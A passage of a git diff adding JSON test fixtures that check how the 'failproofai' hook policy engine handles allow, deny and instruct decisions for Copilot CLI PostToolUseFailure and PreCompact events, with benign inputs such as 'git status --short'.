b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..3196a9a5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..2ce6af95 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a573eba5 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..477caad8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b0a61be2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..a5e99579 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5caafcc4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..939b584e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3318e07a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7e72aeaf --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..353fc671 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..7b15b6a0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ac185548 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4dd70b89 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..cb5ae5c2 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..63e2abba --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2bdb5c3e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..142c339f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fd739db0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/PreCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + 